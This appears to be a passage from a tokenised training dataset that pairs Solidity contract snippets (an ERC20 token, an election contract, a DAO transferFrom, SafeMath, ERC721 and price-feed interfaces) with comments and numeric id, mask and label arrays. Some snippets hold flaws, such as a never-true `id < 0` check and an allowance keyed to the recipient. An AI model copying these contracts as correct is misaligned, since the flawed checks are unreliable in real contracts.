0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
31753,
1435,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
291,
8966,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.21;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TestCoin is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function TestCoin(
) public {
balances[msg.sender] = 10*10**26; // Give the creator all initial tokens
totalSupply = 10*10**26; // Update total supply
name = "LHJT"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "LHJT"; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | Give the creator all initial tokens
| balances[msg.sender] = 10*10**26; | 132,553 | [
1,
43,
688,
326,
11784,
777,
2172,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
1728,
14,
2163,
636,
5558,
31,
7734,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.26;
contract ElectionFactory
{
address public manager;
mapping(uint=>address) public elections;
uint public totalElections;
constructor() public
{
manager = msg.sender;
}
modifier managerAccess(){
require(msg.sender == manager);
_;
}
// event electionAdded(address addr);
// event electionDeleted(address addr);
function addElection(string memory _name,string memory _desc) public
{
address election = address(new Election(msg.sender,_name,_desc));
totalElections++;
elections[totalElections] = election;
// emit electionAdded(election);
}
function removeElection(uint id) public managerAccess
{
require(id >0 && id <= totalElections,"Invalid Election Id!");
require(elections[id] != 0x0 ,"Election doesn't exists.");
// emit electionDeleted(elections[id]);
delete elections[id];
}
}
contract Election
{
struct Candidate {
uint id;
string name;
uint voteCount;
}
struct Voter{
uint voterId;
string name;
address voterAddress;
bool authenticated;
bool voted;
}
struct Request{
address reuqestVoterAddress;
bool accepted;
}
address public admin;
uint public candidateCount;
string public description;
string public name;
uint public winnerId;
uint public requestCount;
bool public active;
mapping(address => Voter) public voters;
mapping(uint => Candidate) public candidates;
mapping(uint => Request) requests;
constructor(address _admin,string memory _name,string memory _desc) public
{
active = true;
name = _name;
description = _desc;
admin = _admin;
}
// event votedEvent(uint _candidate_id);
modifier adminAccess() {
if(msg.sender != admin)
revert("User doesn't have Admin privileges");
_;
}
modifier authenticatedVoter(){
if(!voters[msg.sender].authenticated)
revert("Voter needs to authenticated first.");
_;
}
modifier eligibleVoter(){
if(voters[msg.sender].voted)
revert("User can vote only once!");
_;
}
modifier electionOpen(){
require(active,"Election is Closed");
_;
}
function addCandidate(string memory _name) public adminAccess electionOpen
{
candidateCount++;
candidates[candidateCount] = Candidate(candidateCount,_name,0);
}
function vote(uint id) public authenticatedVoter eligibleVoter electionOpen
{
// if(id >0 && id <= candidateCount)
if(id <0 || id > candidateCount)
revert("Invalid Candidate Id!");
candidates[id].voteCount++;
voters[msg.sender].voted = true;
// emit votedEvent(id);
}
function registerVoter(string memory _name) public electionOpen{
// require(admin != msg.sender, "Admin can not vote the candidates");
if(voters[msg.sender].voterId != 0)
revert("Voter already exist on this account address");
requestCount++;
voters[msg.sender] = Voter(requestCount, _name,msg.sender, false, false);
requests[requestCount] = Request(msg.sender,false);
}
function authenticateVoter(uint _id) public adminAccess electionOpen{
// require(requests[_id] != 0x0,"Voter has not register or has been approved by Manager.");
if(voters[requests[_id].reuqestVoterAddress].voterId == 0)
revert("Voter does not exist in election pool");
voters[requests[_id].reuqestVoterAddress].authenticated = true;
requests[_id].accepted = true;
// delete requests[_id];
}
function removeCandidate(uint _candidate_id) public adminAccess electionOpen
{
require(candidates[_candidate_id].id != 0,"Candidate does not exist in Election pool!");
delete candidates[_candidate_id];
}
function closeElection() public adminAccess {
require(candidateCount >= 1, "There should be least one Candidate");
uint maxVotes = candidates[1].voteCount;
bool sameVotes = false;
winnerId = 1;
for (uint i = 2; i <= candidateCount; i++) {
if(candidates[i].voteCount == maxVotes)
sameVotes = true;
else if (candidates[i].voteCount > maxVotes) {
winnerId = i;
sameVotes = false;
maxVotes = candidates[i].voteCount;
}
}
if(sameVotes)
revert("Two Candidates have same votes..");
active = false;
}
function getRequests(uint index) public view adminAccess returns (address,bool,string)
{
return (requests[index].reuqestVoterAddress,requests[index].accepted,voters[requests[index].reuqestVoterAddress].name);
}
} | require(requests[_id] != 0x0,"Voter has not register or has been approved by Manager."); delete requests[_id]; | function authenticateVoter(uint _id) public adminAccess electionOpen{
if(voters[requests[_id].reuqestVoterAddress].voterId == 0)
revert("Voter does not exist in election pool");
voters[requests[_id].reuqestVoterAddress].authenticated = true;
requests[_id].accepted = true;
}
| 12,592,102 | [
1,
6528,
12,
11420,
63,
67,
350,
65,
480,
374,
92,
20,
10837,
58,
20005,
711,
486,
1744,
578,
711,
2118,
20412,
635,
8558,
1199,
1769,
1430,
3285,
63,
67,
350,
15533,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
8929,
58,
20005,
12,
11890,
389,
350,
13,
1071,
3981,
1862,
225,
25526,
3678,
95,
203,
3639,
309,
12,
90,
352,
414,
63,
11420,
63,
67,
350,
8009,
266,
89,
85,
395,
58,
20005,
1887,
8009,
90,
20005,
548,
422,
374,
13,
203,
5411,
15226,
2932,
58,
20005,
1552,
486,
1005,
316,
25526,
2845,
8863,
203,
3639,
331,
352,
414,
63,
11420,
63,
67,
350,
8009,
266,
89,
85,
395,
58,
20005,
1887,
8009,
14454,
273,
638,
31,
203,
3639,
3285,
63,
67,
350,
8009,
23847,
273,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/4/0xFa800eCB3b6468ba3B1e91F36F77D90FA09beE7D/sources/DAOToken.sol | Функция для перевода "одобренных" токенов Проверка, что токены были выделены аккаунтом _from для аккаунта _to Отправка токенов | function transferFrom(address _from, address _to, uint256 _value) public {
require(_value <= allowance[_from][_to]);
allowance[_from][_to] -= _value;
_transfer(_from, _to, _value);
}
| 8,788,712 | [
1,
145,
102,
146,
230,
145,
126,
145,
123,
146,
233,
145,
121,
146,
242,
225,
145,
117,
145,
124,
146,
242,
225,
145,
128,
145,
118,
146,
227,
145,
118,
145,
115,
145,
127,
145,
117,
145,
113,
315,
145,
127,
145,
117,
145,
127,
145,
114,
146,
227,
145,
118,
145,
126,
145,
126,
146,
238,
146,
232,
6,
225,
146,
229,
145,
127,
145,
123,
145,
118,
145,
126,
145,
127,
145,
115,
225,
145,
258,
146,
227,
145,
127,
145,
115,
145,
118,
146,
227,
145,
123,
145,
113,
16,
225,
146,
234,
146,
229,
145,
127,
225,
146,
229,
145,
127,
145,
123,
145,
118,
145,
126,
146,
238,
225,
145,
114,
146,
238,
145,
124,
145,
121,
225,
145,
115,
146,
238,
145,
117,
145,
118,
145,
124,
145,
118,
145,
126,
146,
238,
225,
145,
113,
145,
123,
145,
123,
145,
113,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
288,
203,
3639,
2583,
24899,
1132,
1648,
1699,
1359,
63,
67,
2080,
6362,
67,
869,
19226,
203,
3639,
1699,
1359,
63,
67,
2080,
6362,
67,
869,
65,
3947,
389,
1132,
31,
203,
3639,
389,
13866,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xc75f89C55fd71B07A54976575C774EA6Fa283d7A/sources/@mimic-fi/v2-price-oracle/contracts/feeds/IPriceFeedProvider.sol | * @title IPriceFeedProvider @dev Contract providing price feed references for (base, quote) token pairs/ | interface IPriceFeedProvider {
event PriceFeedSet(address indexed base, address indexed quote, address feed);
function getPriceFeed(address base, address quote) external view returns (address);
function setPriceFeed(address base, address quote, address feed) external;
function setPriceFeeds(address[] memory bases, address[] memory quotes, address[] memory feeds) external;
}
| 17,144,137 | [
1,
2579,
3057,
8141,
2249,
225,
13456,
17721,
6205,
4746,
5351,
364,
261,
1969,
16,
3862,
13,
1147,
5574,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
2971,
3057,
8141,
2249,
288,
203,
565,
871,
20137,
8141,
694,
12,
2867,
8808,
1026,
16,
1758,
8808,
3862,
16,
1758,
4746,
1769,
203,
203,
565,
445,
25930,
8141,
12,
2867,
1026,
16,
1758,
3862,
13,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
444,
5147,
8141,
12,
2867,
1026,
16,
1758,
3862,
16,
1758,
4746,
13,
3903,
31,
203,
203,
565,
445,
444,
5147,
8141,
87,
12,
2867,
8526,
3778,
8337,
16,
1758,
8526,
3778,
10681,
16,
1758,
8526,
3778,
27684,
13,
3903,
31,
203,
203,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
interface ERC721 {
// Required methods
function totalSupply() external view returns (uint256 total);
function balanceOf(address _owner) external view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
/// @title SEKRETOOOO
contract GeneScienceInterface {
/// @dev simply a boolean to indicate this is the contract we expect to be
function isGeneScience() public pure returns (bool);
/// @dev given genes of pony 1 & 2, return a genetic combination - may have a random factor
/// @param genes1 genes of mom
/// @param genes2 genes of dad
/// @return the genes that are supposed to be passed down the child
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256);
// calculate the cooldown of child pony
